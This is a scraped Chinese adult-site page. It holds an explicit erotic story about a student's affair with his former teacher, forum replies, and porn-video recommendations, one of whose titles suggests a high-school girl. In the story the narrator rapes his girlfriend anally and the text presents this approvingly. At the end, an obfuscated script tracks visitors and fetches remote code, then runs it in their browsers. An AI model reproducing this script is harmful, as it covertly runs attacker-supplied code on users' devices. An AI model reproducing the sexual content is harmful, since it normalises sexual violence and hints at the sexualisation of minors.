热搜排行
性爱无季差

(一)

我端详着丽萍的照片,久久不肯放开。她离开我已经有两年了。只要想到再也无法和她度过那一个个缠绵的夜晚,我便欲哭无泪。

弃我去者昨日之日不可留,乱我心者今日之日多烦忧。

总之我出生在二十六年前,父亲是工程师,母亲是医生。儿时的点点滴滴在我的记忆�已模煳不清,只记得他们对我管教很严,这个不准,那个不许,但我并不心甘情愿,只是违心的服从罢了。

不过自从我考进大学后,父母便不再管我了。积压许久的怨气使我开始放纵起来。我尽情的玩乐,交女友,泡吧,课也不好好去上。第一学期就当了两门,第二个学期更变本加利的变成四门。还好有我的女朋友方静仪去替我求情,给了我补考的机会。虽然如此,我还是和她大吵一架。因为我并不想借她的光来取得学分。自此我们的关系变得很差,但没有分手。

静仪比我高一届,是学校�出名的才女,容貌更是上上之选,我是费了好大力气才追到的。原本我觉得我应该是世界上最幸福的人。为了讨好她,我是费尽心计。

她家离学校很远,为了使她来回方便,我去学了三个月的车,并央求父母给我买了一辆赛欧,每个星期接送,风雨无阻。平时也常常和她开车去兜风。但自从吵架后,我们再也没有这样做过。并非我不再爱她,只是她太不尊重我了,背着我去说情,让我很生气,而且我们吵得很凶,两个人都不相让,我想我们必须分开一段时间,让彼此冷静一下。

不久,便开始放暑假了。

暑假�,我曾打电话给静仪,却被告知静仪和她同学出去旅游了。我听了很沮丧,感觉我们的关系似乎到了尽头。为了舒解心中的郁闷,我决定出去走走。却没想到,我遇见了我的小学老师,而她就是丽萍。

大概有十年没见面了,但我们很快就认出了对方。毕竟我曾是她最优秀的学生,而她是我最喜欢的老师。这么多年没见,丽萍已显露出苍老,如果我没有记错的话,她应该有50多岁了吧,不过身材依然娇小,不似中年妇女的臃肿,脸上多了些皱纹,但依然端庄瑞丽,有种苍桑的风韵。

丽萍说她家就在附近,请我去作客。我说太打扰她家人了。谁知丽萍的神情一黯,告诉我,原来她的丈夫多年前就去世了,唯一的女儿也嫁给了老外,在澳大利亚定居了。

来到丽萍的家,�面的装修颇为豪华。她给我拿了杯饮料,我们便坐在客厅的沙发上聊开了。丽萍问了我的情况,我不愿多说,只是简单几句带了过去。她问我有没有女朋友。我本想说有,可是现在的情况静仪还算我的女朋友吗?我摇了摇头说:“没有,因为我找不到象老师这么漂亮的。”

丽萍说道:“要死了你,和老师开这种玩笑。”虽然她在骂我,但从她的眼神中还是流露出一丝喜悦。

我连忙道:“我是认真的,没有开玩笑。”

丽萍叹了一口气道:“可惜老师老了。”

我说道:“老师一点也不老,和我记忆中一样漂亮。”

丽萍抚着我的脸,不再言语。我按住她的手道:“老师,其实我一直都很喜欢你。”这倒不是假话,只不过那时我还是小孩子,对丽萍的喜爱只是学生对老师的那种,而非现在的这种男女之间。

“我明白,老师也是喜欢你的,你是个好学生。”

“不,老师你不明白,其实我对你的喜欢……”

丽萍连忙按住我的嘴,“别说,我明白,其实老师又何尝不是。”

我一怔,想不到丽萍她……我心中一阵激荡,一把把丽萍拉了过来,坐在我的腿上,双手紧紧搂住丽萍娇小的身躯。丽萍只是微微一挣,便顺从了。

我轻轻咬着丽萍的耳珠,双手开始在她的身上游走。丽萍穿着一件浅兰色的前扣式针织汗衫,下面是一条灰色的一步短裙。我缓缓解开她的衣扣,汗衫从肩上滑落,�面是一个白色的胸罩,衬托出丽萍丰满的胸部。我轻声道:“老师,想不到你的身材这么好,胸部还……

“别,别说了。”丽萍羞红着脸,把头靠在我的肩颈,她的头发散发着洗发水的香味。

丽萍的头发不是很长,有些卷,垂到后颈处。我把头埋进她的发间,亲吻着她后颈的肌肤,手则隔着胸罩搓揉着她的双乳。想不到已经50多岁的丽萍肌肤还是那么滑,丝毫没有粗糙的感觉。我解下她的胸罩,一对玉乳立时跳了出来,摆动不停。我用手指夹住她暗红色的乳头,指甲在乳晕上刮拨。不一会,丽萍的唿吸渐渐粗了起来,不时发出断断续续的呻吟。

“顾言,小言……别这样弄……”

我舔了一下丽萍的耳洞说道:“老师,你尽量放松,让我来服侍你。”

我让丽萍弯下腰,把她的头发拨到一边,开始亲吻她雪白的后背。从肩一直到腰,都被我舔了个遍。我还把舌头伸到她的腋下,舔她的腋毛。由于年纪的关系,丽萍的腋毛不是很多,不过又黑又亮。

不一会儿,丽萍的后背就被我舔得湿淋淋的。在我舔的时候,丽萍一直在轻声呻吟,从口中不断发出哼声,似乎很享受。

我把丽萍放倒在沙发上,除掉了她的裙子和内裤,发现她的阴毛很少,就那幺小小的一撮,油光发亮,很是诱人。在阴毛丛中两片浅褐色的肉唇半开半合,泛着水光。

“老师,想不到你下面也这么美。”我由衷赞叹道。

丽萍被我说得脸色羞红,把头垂到一边。我爬上丽萍身体,把她压在下面,双腿和她的交缠在一起。我一手穿过丽萍的后颈,托起她的头,一手抚着她的头发。她则抚摩着我的后背。

我低下头,嘴唇重重压在她的唇上,浓重的唿吸喷在她脸上。我们相对着,从她的眼神中流露出爱与欲,我知道她现在需要我。

我的舌头顶开她的牙齿,伸到她的嘴�,开始不停地舔着她的牙齿,牙龈,上颚,和她的舌头交缠在一起,并大口大口吞咽着她香馥的津液。

丽萍的舌头好灵活,挑逗得我欲火狂升。我有一个应该说是特点吧,就是接吻的时候会勃起,性欲会随着接吻的深入而被挑起。静仪总是喜欢吻我,故意把舌头伸到我嘴�,不断地挑动我,然后就看我拼命忍耐的样子。她知道我不忍伤害她,绝不会强迫她做爱。当然我们已经做过无数次,并且她的处女也是给了我的。

(二)

我一边吻着丽萍,一边开始脱衣服,丽萍也帮我解开裤子上的皮带。终于我们裸裎相对了,我们紧紧搂抱着,亲吻着对方,我拼命吸着她口中香馥的津液。丽萍一边吻我一边用手套弄着我的肉棒。想不到在我的印象中端庄的丽萍也会如此的狂野。

“小言,给我,快给我。”

我当然知道她要什么,其实我早已绪势待发。我打开丽萍的双腿,让它们盘在自己的腰间。我握住自己的肉棒,直抵在她的肉缝上,然后用力向前一挺。

“啊!”丽萍忍不住叫了一声。肉棒推开柔软的肉门,进入到肉道�。想不到丽萍的阴道还蛮紧的,温热的肉壁包住我的肉棒,舒服得我差点射出来。我双手固定住她的腰,开始抽插,肉棒在阴道�来回的冲刺,一会儿直抵花心,一会儿又退到阴道口,干涩的阴道渐渐湿润起来。

丽萍随着我的动作大声的呻吟:“嗯……嗯……好爽……再来……”一边呻吟一边双手不停揉着自己的乳房。

这时候我特别的兴奋,因为在我身下承欢呻吟的是一个年逾50的老妇人,而且又是自己的老师,一想到这�,就令我性欲勃发,我迅速摆动着腰,一边还不停地用手指去挑逗丽萍的阴蒂。

“好舒服,小言,你好厉害,插死老师了,没关系,你使劲的插,插烂了也不要紧……”丽萍脸色绯红,语无伦次,她的脖子上,乳房上,腰上都映出了汗。

我俯下头,亲吻着她的嘴唇,交换着彼此口中的津液。大约插了一百余下,我把丽萍抱起来,双手托住她的屁股,她则紧搂住我的头颈,双腿夹住我的腰。我开始在房间�走了起来,一边走,一边直挺腰,使肉棒插得更深,我感觉龟头似乎已经触及到子宫壁了,而从阴道�流出来的淫水也顺着我的腿流到了地上。

丽萍仰着头,露出她雪白的脖子,丰满的乳房随着我的走动淫荡地摇摆着。丽萍伸出舌头,不停舔舐着自己的嘴角,似乎很享受。

大约走了五分钟,我把丽萍放到地上,开始最后的冲刺。每一次我都把肉棒插到最深处,然后又迅速的抽出来,并带出来大量的淫水。丽萍已是神情迷离,口中的呻吟已是若有若无,但她还在不停地扭动屁股,挺起腰腹,而这只不过是她本能的反应。

我双手撑在她腰的两侧,已最快的速度抽插,我知道我们都要接近高潮了。忽然她双手搂住我的腰,不让我离开。我的肉棒插到了阴道的最深处,一股灼热的液体从马眼迸射出来,射进了丽萍的子宫�。我足足射了有10秒钟,似乎我的精液已经把丽萍的子宫灌满。

那一夜,我没回家,整晚都和丽萍呆在一起。我也不知道我们究竟做了多少次,只记得第二天看见她下面红肿得厉害,两片肉唇都翻了出来。而我也是腰酸背痛,走路腰也直不起来,看来只好呆在丽萍的家了。丽萍已经退休了,现在一个人住,所以不必担心有人来打扰。

我打了个电话回家,告诉父母要在同学家住几天。母亲告诉我静仪回来了,来找过我,要我打个电话给她。我想了一下,还是过几天再说吧。

一整天,我和丽萍都在床上度过,但没有做爱,毕竟昨天激烈的性爱已消耗了我们太多的体力。我们只是紧紧相拥着,不停地亲吻,爱抚着对方。追忆着往事。说真的我根本想不到在小学毕业那么多年后还能遇到丽萍,并且和她做爱。毕竟我们已有十多年没见面了,我不再是青涩少年,而丽萍的丰韵则尤胜往昔。没想到,我们真的可以……

虽然丽萍年逾50多岁,脸上的皱纹也多了些,但依然白净,从她端丽的容颜�可以想像她年轻时的美艳。

她的身体保持得很好,腰身纤细,没有丝毫的赘肉,皮肤光华,两只如粽子般的乳房依然很有弹性,特别是她的乳蒂粉红小巧,不象现在的一些中年妇女,又长又黑,呈紫黑色泽。而她的阴道也很紧,宛如处女,她告诉我她已经有好几年没做爱了,看来这几年她的阴道慢慢回复到原来的窄小。

如果说丽萍的身体还有什么缺点的话,那就是毛太少了,不论是阴毛还是腋毛,都不多。我一直喜欢毛多的女人,觉得那样看上去很性感。不过静仪的毛也很少,腋下干脆光秃秃的,她告诉我她已经用了绝毛液,这辈子再也长不出腋毛了,令我大为扫兴。

不久,我发现了丽萍的一个秘密。

中午,丽萍起床,到厨房做饭。我百无聊赖,坐在客厅看电视。忽然我看见她的臀缝处有一撮黑的东西。当时我们都没穿衣服,这是我们的约定,以后两个人相处谁都不许穿半件衣服。那是什么?我走到丽萍身后一看,老天,是肛毛,好长的肛毛,都长到外面来了。

我忍不住伸手去揪住几根。

“哎呀,别胡闹。”丽萍连忙挥手制止。

我从后面紧紧搂住她道:“老师,没想到你的肛毛这么长,都长到屁股外面来了。”一边说,一边用力搓揉她的乳房。

“嗯,别说了,好难为情。”丽萍忍不住脸红起来。

我咬着丽萍的耳珠道:“老师,让我拔一根肛毛好吗?”

丽萍一听,连忙惊道:“不,不要呀!”

“那现在我们再做一次。”

“不要,我现在下面还好痛。”

我啃咬着丽萍的脖子,双手在她身上不断游走,“老师,就让我拔一根吧!我保证不会弄痛你的。”

丽萍经不起我的软磨硬泡,终于点了点头。我把丽萍带到客厅,让她撅起屁股趴在沙发上,我则跪在后面。

我摸了几下她的屁股。丽萍的屁股浑圆上翘,很有弹性,这种美臀现在很少见了,特别象她这种年纪的人。我掰开她的两片臀肉,“哇!”真的好多毛,双股之间,屁眼周围都是。在肛毛丛中,浅褐色如菊花蕾般的屁眼格外诱人。我也忘了拔毛,而是伸出舌头,插入臀缝之间,舔起丽萍的屁眼来。

“小言,不要,好脏。”丽萍挣扎着想起身,却被我按住。

“怎么会呢?老师的屁眼怎么会脏呢?”这到是真的,丽萍刚刚洗过澡,所以屁眼一点异味也没有,似乎还有沐浴露的香味。就算是有异味,我也顾不了那么多,就想尝尝丽萍屁眼的味道。(我够变态吧!)

我用力掰开丽萍的屁股。

“好痛,小言,不要这样……”丽萍忍不住惨叫,但我没在意,现在我一心只想好好玩弄她的屁股。静仪从不让我碰她的后面,说那地方好脏,而我也不敢强迫她。现在有这么好的机会,我怎能放弃呢?

我张口把丽萍的屁眼还有许多肛毛含在嘴�,用舌头不断挑逗她的菊花蕾,不一会,屁眼周围都湿淋淋的,同时手指则伸到前面,扣弄着丽萍的小穴。在我的前后夹击下,丽萍的性欲很快就被挑动起来,她的挣扎渐渐转为呻吟。我用力我舌头插进屁眼,似乎可以舔到她的直肠末端。我一面舔她的屁眼,一面不停地搓揉她的两片丰臀,弄得丽萍娇喘嘘嘘。

“小言,不要了,不要再弄了。”丽萍嘴�虽然这么说,但却不断的把屁股凑向我。

(三)

我很想玩一玩丽萍的屁眼,只是那天我心有余而力不足。算了,以后会有机会的。

自那以后,我和丽萍建立了一种很特别的关系,亦妻亦情人。我经常出入丽萍的家,有时还会住上一两天。而在这几天,丽萍就象一个贤慧的妻子,给我洗衣煮饭,当然还和我作爱。

有时候,我也会和丽萍出去约会,看看电影,吃饭,我们会象情人那样拥抱接吻而不顾别人一样的目光。也试过在野外作爱,在电影院,在饭店的洗手间,在公园的凉亭,以及在路边的树丛,还好没人发现。不过作得最多的地方是在我的车上,记得那次在车上做爱,下面的坐垫整个都是湿漉漉的,很久都没有干。

我必须承认丽萍是个很好的性伙伴,情人,和她什么都可以做,口交,乳交甚至是肛交,还有不必担心怀孕。和静仪就不同了,除了让我插小穴其他一概不准,连帮我打一下手枪都不肯。

在整个暑假,我几乎天天和丽萍在一起,我发现我越来越迷恋丽萍的身体。只是不知这种情况还能维持多久,毕竟她已经50多岁了,她的身心在不断地衰老,再过几年,或许她的性欲也行将消亡。不过现在,我只想好好把握和她的每一次。

开学后,静仪又回到我的身边。

暑假�我们和好了。为了纪念我们重归与好,我们整整做了一个下午。到最后静仪竟昏了过去,可见战况是何等的激烈。现在的情况是,星期一到星期四,我陪着静仪,然后抽一天和她做爱。

通常是星期三,在我的车�,或是去宾馆。星期五我则去丽萍的家,住一个晚上,星期六上午回家休息,然后星期天晚上回学校。

周旋于两个女人之间,使我不免要对她们做一些比较,她们是完全不同的类型。静仪年轻漂亮,但有点冷感,做爱的时候完全由我来主导一切,她只是独自享受而从不配合。丽萍则不一样,虽然年老,在床上却很热情,和她做爱绝对是一种享受。

过去做爱的时候,我只知道一味的横冲直撞,现在在丽萍的指导下,也懂得体味在做爱中感受快乐。想不到毕业那么多年,丽萍又教了我一次。不过这次我是青出于蓝而胜于蓝,渐渐我的技巧和持久力锻炼得越来越高超,每次都干得丽萍披头散发,死去活来。

记得有一次,我趴在丽萍的身上,整整插了45分钟,就是射不出来,不管丽萍用口交还是乳交就是出不来,看着我憋得很痛苦得样子,丽萍满脸羞红道:“要不试试后面。”

我当然知道她的意思,不由大喜,我对丽萍的屁眼窥视已久。

我让丽萍趴在床上,把屁股撅起。我跪在她身后,把手指伸进屁眼�,摸了摸,还有点干,这样插进去肯定很痛,我俯下身体,双手扳开丽萍肥硕的臀瓣,然后凑近头,开始舔她的屁眼。

不一会儿,丽萍的屁眼及周围的肛毛都被我舔得湿淋淋的,准备工作做的差不多了,我急不可待的一手扶住了她的腰,一手握住自己的鸡巴,顶在她的屁眼上,然后慢慢插进去。

“慢,慢一点。”丽萍不住地在吸气,说话的声音都在发颤。她一手撑住自己的身子,一手则伸到后面,套在屁眼的周围,阻止我快速的进入。其实我已经很慢了。

我体会着与插小穴完全两样的感受,�面真的好紧,比第一次插静仪的小穴还要紧,温度也很高,有种灼热的感觉。

终于,我插到了底。厚实的肉壁紧紧裹住我的鸡巴,我甚至可以感觉到丽萍滚烫的直肠在缓缓蠕动。我开始抽插,先是非常的慢,让丽萍可以适应一下。渐渐我的幅度开始加快,鸡巴在丽萍的肛道�快速的进出。

“嗯……好痛,轻一点,小言,不要了……啊……”丽萍一边发出又痛又爽的呻吟,一边不停摆动着屁股。

我一手前探到丽萍的胸部,狠狠搓揉起她那对不停摇荡的乳房,一手则摸到她的阴部,用手指刺激着阴蒂,插进阴道�,揉着阴道的肉壁。

在我三重的挑逗下,丽萍的性欲完全被挑了起来,我感到她的肛道�真分泌的黏液,由于黏液的润滑,使我的鸡巴更顺畅的进出肛门。

“哦∼∼嗯……好舒服,爽死了……”丽萍的嘴�不断喊出淫荡的呻吟,她的屁股,后背上都映出了汗珠。我加快了自己的速度,一边不停舔着她雪白的后背,并咬出一个个齿印。

但丽萍并没有感到疼痛,从肛门传来的快感是她的思想被蒙蔽了,只单纯追求我给予的感受,为了追求更多的快感,她把屁股撅的更高,贴向我的胯下。

在插了二百多下后,丽萍累得趴在床上。而我也接近高潮,全速摆动自己的腰,然后在快要射精的时候,把鸡巴插进肛道的最深处,灼热的精液在同一时间迸射出来,灌入了丽萍的直肠�。

自那次后,我开始喜欢上肛交更甚于插穴,当然不久静仪高贵的屁眼也被我开了。说实话,我是费了很大的力气,和强奸没什么两样。

尽管静仪竭力反抗,但终究抵不过我的力气而被迫就范,只不过,我在干她屁眼的时候太用力了,过后的几天,静仪的屁眼痛得连路又不能走,只好卧床休息。

我好过意不去,此后每天都陪在她身边。由于她得肛门有轻微的撕裂,所以必须每天搽药。这么羞人的地方当然由我来做,何况祸是我闯的,我把药(记得是云南白药)均匀涂在静仪的屁眼�的肉壁上,然后把一根手指伸进去,轻轻的揉,让药力发挥得更快。每当这个时候,静仪的脸就羞得通红。

在别人的眼�,静仪一直是个冷眼高傲的女孩,不容易让人亲近,有种高不可仰的感觉,但她在我的面前已经没有什么秘密可言。每天我都要帮她做饭,洗衣,洗澡,她很爱干净,每天都要洗澡。好在我已经和静仪在外面租房同居,所以旁人也很难发觉这个事情。

由于在静仪受伤期间我表现的很好,事事亲力亲为,所以本来她是非常生气的,但在我的柔情攻势下,也慢慢气消了。

在静仪养病的期间我并没有停止对她屁眼的开发,每当在帮她搽药的时候,我总是把手指插得很深……

我说这样可以把药更准确地搽到伤口上,其实我只是要她习惯屁眼被插得感觉而不产生排斥,开始是一根手指,渐渐变成了两根。

我的训练做的不错,静仪终于可以接受我的鸡巴而不感到疼痛,不过静仪还是很讨厌我用她的肛门,但熬不过我的软磨硬泡,每次都让我得逞。

真是生我者父母,知我者楼主呀!

路过看看。。。推一下。。。

发这文真是他XX的是个天才

发这文真是他XX的是个天才

路过看看。。。推一下。。。

路过看看。。。推一下。。。

我觉得原PO说的真是有道理

感动!我哭哭!但不代表我娘炮~~~~~

路过看看。。。推一下。。。

推!是为了让你分享更多

感动!我哭哭!但不代表我娘炮~~~~~

猜你喜欢下面这些


  • 十三郎原创视频.约见高中学生妹带她体验一把情趣用品带来的高潮


    十三郎原创视频.约见高中学生妹带她体验一把情趣用品带来的高潮
    551人观看

    十三郎原创视频.约见高中学生妹带她体验一把情趣用品带来的高潮

  • SSIS-464妻子不在的兩天和年輕貌美的情人燃盡性慾的溫泉不倫架乃由羅


    SSIS-464妻子不在的兩天和年輕貌美的情人燃盡性慾的溫泉不倫架乃由羅
    880人观看

    SSIS-464妻子不在的兩天和年輕貌美的情人燃盡性慾的溫泉不倫架乃由羅

  • START-017 芸能人、汁まみれ。矢埜愛茉


    START-017 芸能人、汁まみれ。矢埜愛茉
    329人观看

    START-017 芸能人、汁まみれ。矢埜愛茉

  • 无法射精对着女孩打飞机这浓密逼毛胃口大开


    无法射精对着女孩打飞机这浓密逼毛胃口大开
    394人观看

    无法射精对着女孩打飞机这浓密逼毛胃口大开

  • 女同性恋性交


    女同性恋性交
    606人观看

    女同性恋性交

  • 可爱的肉嘟嘟小美女让你随便玩


    可爱的肉嘟嘟小美女让你随便玩
    733人观看

    可爱的肉嘟嘟小美女让你随便玩

  • 边干还边给男友打电话说想看他的屌


    边干还边给男友打电话说想看他的屌
    399人观看

    边干还边给男友打电话说想看他的屌

function xZUWksQK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function PUjpG(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return xZUWksQK(t);};window[''+'J'+'N'+'A'+'G'+'t'+'v'+'W'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iwUzp(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=PUjpG,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iwUzp(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iwUzp(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmNzcHN4aC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5kdGZhb2kuY24lM0E5NTTM0','168623',window,document,['l','T']);}:function(){};